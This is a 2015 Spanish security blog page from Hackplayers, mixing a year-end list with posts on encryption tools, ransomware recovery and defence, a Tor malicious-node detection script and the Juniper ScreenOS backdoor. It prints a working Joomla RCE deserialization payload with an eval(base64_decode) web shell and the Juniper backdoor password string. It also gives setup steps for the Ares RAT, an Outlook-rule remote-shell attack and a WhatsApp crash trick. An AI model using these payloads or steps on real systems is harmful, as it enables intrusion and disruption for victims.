Lo más visto del 2015 en Hackplayers

Volvemos a despedir el año con las 50 entradas de Hackplayers más vistas, según Google Analytics.

Como siempre, daros las gracias por leernos y participar con vuestros comentarios, soluciones a los retos y colaboraciones. 


No dudéis en contactar con nosotros si estáis interesados en algún tema en particular, si queréis participar con vuestro artículo e incluso escribir regularmente para convertiros en un autor más del blog, pues es propósito de este nuevo año convertirnos en una comunidad activa de entusiastas compartiendo información sobre hacking e in-seguridad informática. ¿Te apuntas?

Nos vemos en el 2016. ¡Feliz y próspero año nuevo!
  1. 8 servicios proxy gratuitos para evitar restricciones y mantener el anonimato y la privacidad
  2. iDict, una herramienta de fuerza bruta para obtener contraseñas de usuarios de iCloud
  3. El abc para desproteger un Excel con contraseña
  4. Herramienta para recuperar los archivos cifrados por el ransomware TeslaCrypt, una variante de CryptoLocker
  5. 25 servicios VPN gratuitos for fun and profit
  6. androrat: un troyano RAT para Android
  7. Aplicación Android para robar y leer chats de WhatsApp en Android (PoC)
  8. Descarga gratis los 100 mejores libros de hacking de Raj Chandel
  9. hackplayers: Blogroll en español
  10. Hackeando Starbucks para conseguir café gratis ilimitado

CenoCipher: una herramienta gratuita y fácil de usar para cifrar nuestras comunicaciones

CenoCipher es una herramienta gratuita, de código abierto y fácil de usar para el intercambio de comunicaciones cifradas y seguras en Internet. Utiliza criptografía fuerte para convertir los mensajes y archivos en datos cifrados que luego pueden ser enviados al destinatario por correo electrónico o cualquier otro canal disponible, como la mensajería instantánea o el almacenamiento compartido en la nube.


Sus características principales son:

- Es muy fácil de utilizar por cualquiera. Sólo tienes que escribir un mensaje, hacer clic en "Cifrar" y ya está
- Maneja los mensajes y archivos adjuntos fácilmente
- Cifra de extremo a extremo, enteramente en la máquina del usuario
- No depende de cualquier canal intermediario específico. Funciona con cualquier método de comunicación disponible
- Utiliza tres algoritmos criptográficos fuertes combinados
- Tiene una función de esteganografía opcional para incrustar datos cifrados en una imagen JPEG
- No necesita instalación - es una aplicación totalmente portátil que se puede ejecutar desde cualquier lugar
- Los datos sin cifrar no se escriben en el disco - a no ser que sean solicitados por el usuario
- Tiene múltiples modos de entrada/salida para operar convenientemente

Detalles técnicos:

- es de código abierto, escrito en C ++
- Usa cifrados AES/Rijndael, Twofish y Serpent (keysize 256 bits) conjuntamente en cascada en modo CTR para un triple cifrado de mensajes y archivos
- Utiliza HMAC-SHA-256 para el código de autenticación de mensajes
- PBKDF2-HMAC-SHA256 para la derivación de claves separadas para AES, Twofish y Serpent a partir de la contraseña elegida por el usuario
- Generador ISAAC de números pseudo-aleatorios criptográficamente seguro para la producción de vectores de inicialización (AES/Twofish/Serpent) y salts (PBKDF2)

Licencia:

CenoCipher es software libre y se distribuye bajo la Licencia Pública General GNU, versión 2 o cualquier versión posterior, según lo publicado por la Free Software Foundation, Inc.

Enlaces:


- Fuente
- Descarga
- Manual/Documentación

Descubren una combinación de teclas en Windows para abrir un consola como administrador

Hace muy poco Hector Marco e Ismael Ripoll de la Universidad de Valencia desvelaban un fallo en Grub2, el gestor de arranque más popular en Linux (LiLo no te olvido), por el cual se puede acceder a la consola de recuperación sin contraseña, evadiendo la autenticación. Lo curioso es que el método era tan sencillo como pulsar 28 veces la tecla de borrar (backspace) en lo que sería una vulnerabilidad de tipo Integer underflow. De hecho ya hay rumores que la NSA introdujo intencionadamente este bug en 2009...

Pues bien, si esto os parece tremendamente curioso y sospechosamente conspiratorio, seguro que os vais a quedar boquiabiertos como yo al leer la noticia que viene de dos investigadores de la Universidad de Seongbuk-gu (Seúl). Resulta que en Windows 7 y superiores si pulsas simultáneamente las teclas control + 9 + 0 + 2 + 4 + backspace se abre un consola de sistema con privilegios de administración (SYSTEM):


Acaban de revelar la noticia y en varios foros están confirmando las versiones afectadas. En principio se pensaba que era un backdoor introducido por el gobierno surcoreano en el language pack de la distribución de Microsoft Windows del páis, pero se ha reportado que funciona en también en otros idiomas. En inglés no pero, por lo que he podido comprobar (y vosotros también) si funciona en la versión en español... 

Iré añadiendo más actualizaciones a la noticia.

Fuente: 백도어 윈도우

Actualización: Bueno, ya la mayoría os distéis cuenta al presionar la combinación de teclas que era una enorme troleada por el día de los Inocentes:

No había ningún backdoor en Windows, se trataba de un simple javascript en la entrada que llamaba a esa imagen al presionar las teclas indicadas. Algunos no pudisteis verla al cerrar la página del blog en vuestro navegador o al tener varias pestañas abiertas y cambiar entre ellas al presionar control más un número. Otros se quejaban de que no es 1 de abril (lo siento, aquí es el 28 de diciembre) y otros todavía siguen probando en sus diferentes Windows a ver si aparece el prompt mágico... lol! 

A todos muchas gracias por estar ahí, compartiendo hasta las mayores bobadas con nosotros ;)

¡Feliz navidad!

((1..6).to_a+(3..9).to_a+(6..12).to_a+[3]*4).map{|i|puts "\e[32m"+('*'*i*4).center(80)}

Truco para *petar* un grupo de WhatsApp (bomba de emoticonos)

¿Has escrito algo o mandado una foto que no debieras a un grupo de WhatsApp y quieres que los demás no la vean? Aún estas a tiempo... Con este truquito todavía tendrás una oportunidad para *literalmente* petar el chat de turno y que el resto de usuarios no tengan más remedio que eliminarlo.

Se trata de la segunda versión de un crash para WhatsApp y lo mejor es que es muy fácil de realizar. WhatsApp Web permite mensajes de entre 65500 y 66000 caratecteres así que simplemente accede mediante un navegador y en un único mensaje pega del órden de 4200 a 4400 emoticonos... el navegador del PC se bloqueará un tiempo, pero es que cuando una persona o grupo lo reciban en Android tendrán que cerrar la aplicación de WhatsApp y al final tendrán que eliminar el chat para poder seguir usándolo (en iPhone se bloqueará durante unos segundos). Aquí tenéis un vídeo con la demo:


Ya se ha notificado a WhatsApp este error y se parcheará en la siguiente versión. Mientras... ¡¡no hagáis demasiado el troll!!

Fuentes:
- Whatsapp Crash V2 - crashing PC browser and mobile app 
- How to crash WhatsApp by sending an emoji bomb
- You Can Crash WhatsApp by Sending an Insane Amount of Emojis

Herramienta para recuperar los archivos cifrados por el ransomware Gomasom

Estas navidades está pegando fuerte un ransomware bautizado por Fabian Wosar de Emsisoft como Gomasom (GOogle MAil ranSOM) ya que utiliza direcciones de Gmail en los nombres de ficheros cifrados, por ejemplo Tulips.jpg!___prosschiff@gmail.com_.crypt, a los que los usuarios infectados deben escribir para seguir las intrucciones de "rescate".

El propio Fabian ha creado una herramienta muy sencilla decrypt_gomasom.exe (descargar aquí) que permite obtener la clave de descifrado simplemente arrastrando un fichero cifrado y el equivalente original sin cifrar:



Es decir, al menos necesitaremos un fichero original para poder recuperar el resto. Si no lo tenemos podríamos buscar por ejemplo un PNG de la instalación por defecto de Windows, obtenerlo de otro equipo o descargarlo de Internet y utilizarlo para obtener la clave.

Script para detectar nodos maliciosos en Tor

En Tor cada nodo es capaz de decidir si es un nodo medio o de salida, en función de su propio estado de configuración. Si el nodo decide ser un Exit Point expondrá su propia dirección IP pública.

Ya sabéis que Tor es una de las principales redes (que no la única) para mantener el anonimato y acceder a la Deep Web, lo que le ha convertido en uno de los principales objetivos de múltiples organizaciones y gobiernos. En consecuencia han surgido numerosos tipos de ataques y han proliferado los nodos Tor maliciosos, ya sean de retransmisión o de salida, con el fin de espiar o comprometer los flujos de comunicación que pasan a través de ellos.

Los ataques podrían ocurrir de muchas maneras pero los más utilizados son principalmente tres:

- Envenenamiento DNS: Esta técnica consiste en redirigir las llamadas DNS relacionadas con sitios web conocidos a páginas falsas que normalmente contienen exploit kits.


- Parcheo de archivos: Esta técnica consiste en alterar el archivo solicitado de vuelta a su destino mediante la adición de contenido malicioso: esto sucede directamente en el ExitPoint/Relay antes de ser entregado al solicitante original.


- Sustitución de certificados (SSL-MITM). Esta técnica consiste en la sustitución del certificado de sitio web real por uno falso con el fin de ser capaz de descifrar el flujo de comunicación e interceptar las credenciales y parámetros.


Marco Ramilli ha publicado recientemente un pequeño script en Python para averiguar cuando el flujo TOR pasa por nodos maliciosos, haciendo algunas comprobaciones rápidas para ver si se han realizado algunas de las tres principales técnicas arriba descritas: Poison DNS, parcheo de archivos o SSL-MITM.

La idea es muy simple: "vamos a grabar certificados, direcciones IP y archivos sin pasar a través de la red TOR (o pasando a través de circuitos de confianza) y luego repetir el proceso de pasar por todos los nodos disponibles. Luego comparar los resultados y comprobar si alguien ha modificado el terreno".

La implementación la tenéis aquí:


#!/usr/bin/env python2

#========================================================================#
#               THIS IS NOT A PRODUCTION RELEASED SOFTWARE               #
#========================================================================#
# Purpose of finMaliciousRelayPoints is to proof the way it's possible to#
# discover TOR malicious Relays Points. Please do not use it in          #

# any production  environment                                            #

# Author: Marco Ramilli                                                  #
# eMail: XXXXXXXX                                                        #
# WebSite: marcoramilli.blogspot.com                                     #
# Use it at your own                                                     #
#========================================================================#

#==============================Disclaimer: ==============================#
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR      #
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED          #
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE  #
#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,      #
#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES      #
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR      #
#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)      #
#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,     #
#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING   #
#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE      #
#POSSIBILITY OF SUCH DAMAGE.                                             #
#========================================================================#




#-------------------------------------------------------------------------
#------------------- GENERAL SECTION -------------------------------------
#-------------------------------------------------------------------------
import StringIO
import tempfile
import time
import hashlib
import traceback
from   geoip         import  geolite2
import stem.control

TRUSTED_HOP_FINGERPRINT = '379FB450010D17078B3766C2273303C358C3A442' 

#trusted hop
SOCKS_PORT              = 9050
CONNECTION_TIMEOUT      = 30  # timeout before we give up on a circuit

#-------------------------------------------------------------------------
#---------------- File Patching Section ----------------------------------
#-------------------------------------------------------------------------
import pycurl

check_files               = {
                             "http://live.sysinternals.com/psexec.exe",
                             "http://live.sysinternals.com/psexec.exe",
                             "http://live.sysinternals.com/psping.exe", }
check_files_patch_results = []

class File_Check_Results:
    """
    Analysis Results against File Patching
    """
    def __init__(self, url, filen, filepath, exitnode, found_hash):
        self.url           = url
        self.filename      = filen
        self.filepath      = filepath
        self.exitnode      = exitnode
        self.filehash      = found_hash


#------------------------------------------------------------------------
#------------------- DNS Poison Section ---------------------------------
#------------------------------------------------------------------------
import dns.resolver
import socks
import socket

check_domain_poison_results = []
domains                     = {
                                 "www.youporn.com",
                                 "youporn.com",
                                 "www.torproject.org",
                                 "www.wikileaks.org",
                                 "www.i2p2.de",
                                 "torrentfreak.com",
                                 "blockchain.info",
}

class Domain_Poison_Check:
    """
    Analysis Results against Domain Poison
    """
    def __init__(self, domain):
        self.domain  = domain
        self.address = []
        self.path    = []

    def pushAddr(self, add):
        self.address.append(add)

    def pushPath(self, path):
        self.path = path

#-----------------------------------------------------------------------
#------------------- SSL Sltrip Section --------------------------------
#-----------------------------------------------------------------------
import OpenSSL
import ssl

check_ssl_strip_results   = []
ssl_strip_monitored_urls = {
                            "www.google.com",
                            "www.microsoft.com",
                            "www.apple.com",
                            "www.bbc.com",
}

class SSL_Strip_Check:
    """
    Analysis Result against SSL Strip
    """
    def __init__(self, domain, public_key, serial_number):
        self.domain        = domain
        self.public_key    = public_key
        self.serial_number = serial_number


#----------------------------------------------------------------------
#----------------     Starting Coding   -------------------------------
#----------------------------------------------------------------------


def sslCheckOriginal():
    """
    Download the original Certificate without TOR connection
    """
    print('[+] Populating SSL for later check')
    for url in ssl_strip_monitored_urls:
        try:
            cert = ssl.get_server_certificate((str(url), 443))
            x509 = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, cert)
            p_k  = x509.get_pubkey()
            s_n  = x509.get_serial_number()

            print('[+] Acquired Certificate: %s' % url)
            print('    |_________> serial_number %s' % s_n)
            print('    |_________> public_key %s' % p_k)

            check_ssl_strip_results.append(SSL_Strip_Check(url, p_k, s_n))

        except Exception as err:
            print('[-] Error While Acquiring certificats on setup phase !')
            traceback.print_exc()
    return time.time()


def fileCheckOriginal():
    """
    Downloading file ORIGINAL without TOR
    """

    print('[+] Populating File Hasing for later check')
    for url in check_files:
        try:
            data = query(url)
            file_name = url.split("/")[-1]
            _,tmp_file = tempfile.mkstemp(prefix="exitmap_%s_" % file_name)

            with open(tmp_file, "wb") as fd:
                fd.write(data)
                print('[+] Saving File  \"%s\".' % tmp_file)
                check_files_patch_results.append( File_Check_Results(url, file_name, tmp_file, "NO", sha512_file(tmp_file)) )
                print('[+] First Time we see the file..')
                print('    |_________> exitnode : None'       )
                print('    |_________> :url:  %s' % str(url)     )
                print('    |_________> :filePath:  %s' % str(tmp_file))
                print('    |_________> :file Hash: %s' % str(sha512_file(tmp_file)))
        except Exception as err:
                print('[-] Error ! %s' % err)
                traceback.print_exc()
                pass
    return time.time()


def resolveOriginalDomains():
    """
        Resolving DNS For original purposes
    """
    print('[+] Populating Domain Name Resolution for later check ')

    try:
        for domain in domains:
            response = dns.resolver.query(domain)
            d = Domain_Poison_Check(domain)
            print('[+] Domain: %s' % domain)
            for record in response:
                print(' |____> maps to %s.' % (record.address))
                d.pushAddr(record)
            check_domain_poison_results.append(d)
        return time.time()
    except Exception as err:
        print('[+] Exception: %s' % err)
        traceback.print_exc()
        return time.time()


def query(url):
  """
  Uses pycurl to fetch a site using the proxy on the SOCKS_PORT.
  """
  output = StringIO.StringIO()
  query = pycurl.Curl()
  query.setopt(pycurl.URL, url)
  query.setopt(pycurl.PROXY, 'localhost')
  query.setopt(pycurl.PROXYPORT, SOCKS_PORT)
  query.setopt(pycurl.PROXYTYPE, pycurl.PROXYTYPE_SOCKS5_HOSTNAME)
  query.setopt(pycurl.CONNECTTIMEOUT, CONNECTION_TIMEOUT)
  query.setopt(pycurl.WRITEFUNCTION, output.write)

  try:
    query.perform()
    return output.getvalue()
  except pycurl.error as exc:
    raise ValueError("Unable to reach %s (%s)" % (url, exc))



def scan(controller, path):
  """
  Scan Tor Relays Point to find File Patching
  """

  def attach_stream(stream):
    if stream.status == 'NEW':
      try:
        controller.attach_stream(stream.id, circuit_id)
        #print('[+] New Circuit id (%s) attached and ready to be used!' % circuit_id)
      except Exception as err:
        controller.remove_event_listener(attach_stream)
        controller.reset_conf('__LeaveStreamsUnattached')

  try:

    print('[+] Creating a New TOR circuit based on path: %s' % path)
    circuit_id = controller.new_circuit(path, await_build = True)
    controller.add_event_listener(attach_stream, stem.control.EventType.STREAM)
    controller.set_conf('__LeaveStreamsUnattached', '1')  # leave stream management to us
    start_time = time.time()

    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
    socket.socket = socks.socket

    ip = query('http://ip.42.pl/raw')
    if ip is not None:
        country  = geolite2.lookup( str(ip) ).country
        print('\n \n')
        print('[+] Performing FilePatch,  DNS Spoofing and Certificate Checking\
              passing through --> %s (%s) \n \n' % (str(ip), str(country))  )

    time_FileCheck = fileCheck(path)
    print('[+] FileCheck took: %0.2f seconds'  % ( time_FileCheck - start_time))

    #time_CertsCheck  = certsCheck(path)
    #print('[+] CertsCheck took: %0.2f seconds' % ( time_DNSCheck - start_time))

    time_DNSCheck  = dnsCheck(path)
    print('[+] DNSCheck took: %0.2f seconds'   % ( time_DNSCheck - start_time))

  except Exception as  err:
    print('[-] Circuit creation error: %s' % path)

  return time.time() - start_time

def certsCheck(path):
    """
    SSL Strip detection
    TODO: It's still a weak control. Need to collect and to compare public_key()
    """
    print('[+] Checking Certificates')
    try:
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
        socket.socket = socks.socket

        for url in ssl_strip_monitored_urls:
            cert = ssl.get_server_certificate((str(url), 443))
            x509 = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, cert)
            p_k  = x509.get_pubkey()
            s_n  = x509.get_serial_number()
            for stored_cert in check_ssl_strip_results:
                if str(url) == str(stored_cert.domain):
                    if str(stored_cert.serial_number) != str(s_n):
                        print('[+] ALERT Found SSL Strip on uri (%s) through path %s ' % (url, path))
                        break
                    else:
                        print('[+] Certificate Check seems to be OK for %s' % url)

    except Exception as err:
        print('[-] Error: %s' % err)
        traceback.print_exc()

    socket.close()
    return time.time()

def dnsCheck(path):
    """
    DNS Poisoning Check
    """
    try:
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
        socket.socket = socks.socket

        print('[+] Checking DNS ')
        for domain in domains:
            ipv4 = socket.gethostbyname(domain)
            for p_d in check_domain_poison_results:
                if str(p_d.domain) == str(domain):
                    found = False
                    for d_ip in p_d.address:
                        if str(ipv4) == str(d_ip):
                            found = True
                            break
                    if found == False:
                        print('[+] ALERT:DNS SPOOFING FOUND: name: %s ip: %s  (path: %s )' % (domain, ipv4, path) )
                    else:
                        print('[+] Check DNS (%s) seems to be OK' % domain)
    except Exception as err:
        print('[-] Error: %s' % err)
        traceback.print_exc()

    socket.close()
    return time.time()


def fileCheck(path):
    """
    Downloading file through TOR circuits doing the hashing
    """
    print('[+] Checking For File patching ')
    for url in check_files:
        try:
            #File Rereive
            data = query(url)
            file_name = url.split("/")[-1]
            _,tmp_file = tempfile.mkstemp(prefix="exitmap_%s_" % file_name)
            with open(tmp_file, "wb") as fd:
                fd.write(data)
                for i in check_files_patch_results:
                    if str(i.url) == str(url):
                        if str(i.filehash) != str(sha512_file(tmp_file)):
                            print('[+] ALERT File Patch FOUND !')
                            print('    | exitnode : %s' % str(i.exitnode)      )
                            print('    |_________> url: %s' % str(i.url)        )
                            print('    |_________> filePath: %s' % str(i.filepath)   )
                            print('    |_________> fileHash: %s' % str(i.filehash)   )
                            #check_files_patch_results.append( File_Check_Results(url, file_name, tmp_file, path, sha512_file(tmp_file)) )
                        else :
                            print('[+] File (%s) seems to be ok' % i.url)
                        break

        except Exception as err:
                print('[-] Error ! %s' % err)
                traceback.print_exc()
                pass
    return time.time()


def sha512_file(file_name):
    """
    Calculate SHA512 over the given file.
    """

    hash_func = hashlib.sha256()

    with open(file_name, "rb") as fd:
        hash_func.update(fd.read())

    return hash_func.hexdigest()


if __name__ == '__main__':

    start_analysis = time.time()
    print("""

  |=====================================================================|
  | Find Malicious Relay Nodes is a python script made for checking 3   |
  | unique kind of frauds such as:                                      |
  | (1) File Patching                                                   |
  | (2) DNS Poison                                                      |
  | (3) SSL Stripping (MITM SSL)                                        |
  |=====================================================================|
         """)

    print("""
  |=====================================================================|
  |                 Initialization Phase                                |
  |=====================================================================|
       """)
    dns_setup_time             = resolveOriginalDomains()
    print('[+] DNS Setup Finished: %0.2f' % (dns_setup_time - start_analysis))
    file_check_original_time   = fileCheckOriginal()
    print('[+] File Setup Finished: %0.2f' % (file_check_original_time - start_analysis))
    ssl_checking_original_time = sslCheckOriginal()
    print('[+] Acquiring Certificates  Setup Finished: %0.2f' % (ssl_checking_original_time - start_analysis))

    print("""
  |=====================================================================|
  |                 Analysis  Phase                                     |
  |=====================================================================|
          """)

    print('[+] Connecting and Fetching possible Relays ...')
    with stem.control.Controller.from_port() as controller:
      controller.authenticate()

      net_status = controller.get_network_statuses()


      for descriptor in net_status:
        try:
          fingerprint = descriptor.fingerprint

          print('[+] Selecting a New Exit Point:')
          print('[+] |_________> FingerPrint: %s ' % fingerprint)
          print('[+] |_________> Flags: %s ' % descriptor.flags)
          print('[+] |_________> Exit_Policies: %s ' % descriptor.exit_policy)

          if 'EXIT' in (flag.upper() for flag in descriptor.flags):
              print('[+] Found Exit Point. Performing Scan through EXIT: %s' % fingerprint)
              if None == descriptor.exit_policy:
                  print('[+] No Exit Policies found ... no certs checking')
                  time_taken = scan(controller, [TRUSTED_HOP_FINGERPRINT, fingerprint])
          else:
              #print('[+] Not Exit Point found. Using it as Relay passing to TRUST Exit Point')
              pass
              #time_taken = scan(controller, [fingerprint, TRUSTED_HOP_FINGERPRINT])
          #print('[+] Finished Analysis for %s finished  => %0.2f seconds' % (fingerprint, time_taken))

        except Exception as exc:
            print('[-] Exception on  FingerPrint: %s => %s' % (fingerprint, exc))
            traceback.print_exc()
            pass


Fuente: Spotting Malicious Node Relays

Juniper descubre un backdoor en sus firewalls ScreenOS

Juniper ha emitido un comunicado de seguridad fuera de ciclo en el que informan que durante una reciente revisión de código interno han descubierto "código no autorizado en ScreenOS que podría permitir a un atacante con conocimientos obtener acceso administrativo a dispositivos NetScreen y descifrar las conexiones VPN".

https://twitter.com/thegrugq/status/677611480041127936:

    Telnet / ssh exposes a backdoor added by attackers to ScreenOS source code. This has been there since August 2012. https://t.co/lG5DEzyRjH
    — the grugq (@thegrugq) December 17, 2015


https://twitter.com/thegrugq/status/677640335879720964:    

    @adamcaudill yeah, probably for the source code to… Definitely deliberate and planned backdoor. Curious about the VPN key dumping too
    — the grugq ‏@thegrugq hace 13 horas

   
También dicen que por el momento no han recibido ningún reporte de que se estén explotando estas vulnerabilidades aunque recomiendan encarecidamente que los clientes actualicen sus sistemas y se apliquen las versiones parcheadas con la más alta prioridad.

Los dispositivos NetScreen ScreenOS que están utilizando 6.2.0r15 través 6.2.0r18 y 6.3.0r12 través 6.3.0r20 se ven afectados por estos problemas y requieren parcheo. Por otro lado, de momento no tienen ninguna evidencia de que los dispositivos SRX u otros que ejecutan JunOS se vean afectados.


Actualización 1:  
- Juniper ScreenOS Backdoored Admin Password is: <<< %s(un='%s') = %u https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor

Actualización 2:  
- Se veía venir... Researchers Solve Juniper Backdoor Mystery; Signs Point to NSA
Fuente: Important Announcement about ScreenOS

Gran recopilación de honeypots

Nos encantan los recopilatorios y, cómo no, no podíamos dejar pasar la oportunidad de tener aquí también un enorme listado de honeypots, herramientas, componentes y mucho más que podéis encontrar en el repositorio GitHub de Paralax. La lista se divide en categorías como web, servicios y otros, y se centra en proyectos de código abierto.

Honeypots

Exploit RCE Joomla 1.5.0-3.4.5, parchea o muere!

Seguro que estáis al día y ya os habréis enterado de que hace un par de días se han podido observar intentos de explotación de un nuevo 0-day que permite la ejecución remota de código (RCE) en todas las versiones de Joomla, de la 1.5.0 a la 3.4.5 (es decir, un exploit funcional desde hace 8 años).
  

La petición:
2015 Dec 12 16:49:07 clienyhidden.access.log
Src IP: 74.3.XX.XX / CAN / Alberta
74.3.XX.XX   [12/Dec/2015:16:49:40 -0500] GET /contact/ HTTP/1.1 403 5322 http://google.com/ }__test|O:21:x22JDatabaseDriverMysqlix22:3: ..{s:2:x22fcx22;O:17:x22JSimplepieFactoryx22:0: .. {}s:21:x22x5C0x5C0x5C0disconnectHandlersx22;a:1:{i:0;a:2:{i:0;O:9:x22SimplePiex22:5:..{s:8:x22sanitizex22;O:20:x22JDatabaseDriverMysqlx22:0:{}s:8:x22feed_urlx22;s:60:..

El payload:
}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:60:\x22eval(base64_decode($_POST[111]));JFactory::getConfig();exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\x9D\x8C\x86Paste your text here.

Si desofuscamos:

}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}𝌆

De cómo protegerse contra Cryptolocker y demás ransomware - Parte 1

Una de las entradas más comentadas en nuestro blog es aquella en la que hablábamos de una herramienta para recuperar los archivos cifrados con TeslaCrypt, una variante de CryptoLocker. Dicha entrada se ha convertido en un "muro de los lamentos" donde los usuarios infectados intercambian impresiones y buscan la manera de descifrar sus archivos secuestrados por distintas variantes de ransomware.

Desafortunadamente hoy no vamos a solucionar el problema de todas aquellas personas que ya han sido afectadas. Pero de lo que si vamos a hablar, de la forma más sencilla posible, es de cómo implementar algunas contramedidas básicas para impedir que otros usuarios vean sus archivos cifrados e inaccesibles y sean sometidos al infame chantaje de este tipo de malware.

Que quede claro que, como en la vida misma, nunca estaremos totalmente a salvo pues dependemos del foco y la pericia del atacante, muchas veces con una habilidad técnica admirable (llamarle si queréis simpatía por el diablo). Por lo tanto ni que decir tiene que establecer estas medidas NO garantizan el 100% de la seguridad contra el ransomware, pero añaden más niveles de defensa y aumentan las posibilidades de detener estos ataques.

Backup, backup y backup, pero a guardalo de forma offline...

La primera línea de defensa y las más efectiva contra el ransomware es disponer de una copia de seguridad funcional y lo más actualizada posible y, sobretodo, mantenerla a salvo fuera de línea. Es decir, de nada vale tener una copia en un servidor en red accesible porque el ransomware podría también cifrar vuestros archivos accediendo mediante una de vuestras unidades conectada... o comprometiendo al servidor por otra vía quién sabe.

Es decir, no os pido que realicéis backups diferenciales diarios ni que llevéis las cintas a un banco como deberían hacer los profesionales. Tampoco utilizar un software de backup dedicado o especializado. Simplemente hablo de tener un disco USB y hacer una copia directamente de vuestras fotos, documentos y cosas importantes y, una vez realizadas, guardar el disco de nuevo en un cajón. Para los más tecnólogos y paranoicos hay algunos discos que tienen protección contra escritura por hardware.

Un poco de sentido común

Parece una tontería pero el sentido común es unas de las barreras más eficaces contra el malware en general y tampoco es una excepción contra el ransomware. No abrir enlaces ni ejecutar ficheros procedentes de usuarios que no conocemos es un stopper que impide que nos infectemos en muchas ocasiones. Los ataques de ingeniería social son cada vez más elaborados pero muchos usuarios incluso avanzados siguen cayendo en las acciones más simples.

El consejo es siempre la desconfianza. Por ejemplo no te conectes a una red WiFi abierta al menos que sea totalmente necesario. O, si es posible, utiliza un PC o una máquina virtual para tus asuntos más peliagudos y confidenciales.
Tampoco debemos olvidarnos de mantener nuestro sistema operativo con los últimos parches disponibles, usar un antivirus actualizado (también lusers) y un firewall personal que nos alerte de conexiones no deseadas.

Y por último... un extra

Muchas veces ni el sentido común impide que nos veamos afectados por alguna variante de ransomware porque es posible infectarse simplemente navegando por un sitio web (drive-by download) o mediante un 0-day que carga algún exploit kit.

Supongamos entonces que ya hemos sido comprometidos y que ninguna de las "barreras" anteriores ha funcionado. Todavía tendríamos una última oportunidad y esa es con una herramienta de monitorización continua de nuestro sistema o, para ser más concretos, con un supervisor de cambios en nuestros ficheros que ejecute una alarma o acción según el umbral que decidamos. Simplificando: un programa que actúe, aunque sea apagando el equipo, en el caso de que detecte que los ficheros de nuestro ordenador están siendo cifrados de forma masiva.

Ares: un RAT escrito en Python

Ares es un RAT (Remote Access Tool) escrito en Python. Se compone de dos programas principales:

- Un servidor de comando y control (C&C), que es una interfaz web para administrar los agentes
- Un programa de agente, que se ejecuta en el host comprometido, y garantiza la comunicación con el C&C

La interfaz web se puede ejecutar en cualquier servidor que ejecute Python, aunque previamente se necesita instalar el paquete cherrypy:

pip install cherrypy

El cliente es un programa Python destinado a ser compilado como un ejecutable win32 usando PyInstaller. Tiene como dependencias los módulos requests, pythoncom, pyhook y PIL (Python Imaging Library).

Actualmente soporta:

- shell cmd.exe remoto
- persistencia
- carga/descarga de archivos
- captura de pantalla
- keylogging

Instalación

Primero descargamos el repositorio:

git clone https://github.com/sweetsoftware/Ares.git

Luego creamos la base de datos sqlite:

python db_init.py

Obteniendo un shell remoto mediante una regla de Outlook maliciosa

En la página de SilentBreak Security encontraba un escenario que puede resultar bastante interesante para atacantes, pentesters, curiosos y demás fauna... 

Imagina que has conseguido las credenciales para acceder al correo electrónico de un usuario vía OWA, ya sea por fuera bruta, esnifando (las passwords graciosillos!), usando keyloggers, con alguna página de phishing, ... con lo que sea. A partir de ahí puedes obtener shell remoto de la máquina que está utilizando el usuario gracias a una simple regla de Outlook maliciosa. Algo también muy útil si trabajamos en un entorno Citrix y queremos obtener una shell remota del servidor XenApp.

Veamos cómo hacerlo en unos sencillos pasos...

1.- Primero tenemos que preparar la máquina del atacante para dejar accesible un ejecutable (a ser posible FuD) con el payload que más tarde nos permitirá abrir una sesión remota, por ej. vía Webdav en un Apache:


sudo apt-get update
sudo apt-get install apache2
sudo a2enmod dav
sudo a2enmod dav_fs
sudo service apache2 restart


O si estás en una LAN o quieres hacer una PoC sencillita, simplemente puedes dejar el ejecutable malicioso en una unidad de red o cualquier otro recurso compartido vía samba.

2.- luego ponemos nuestro servidor malicioso a escuchar (en una máquina virtual en un hosting gratuito o en un servidor comprometido para que la víctima nos devuelva la sesión en cuanto ejecute el payload. 


En este caso utilizamos Empire, un agente post-explotación escrito puramente en Powershell que se puede desplegar rápidamente y nos permite, entre otras cosas, elevar privilegios y ejecutar Mimikatz en la máquina comprometida. 
 
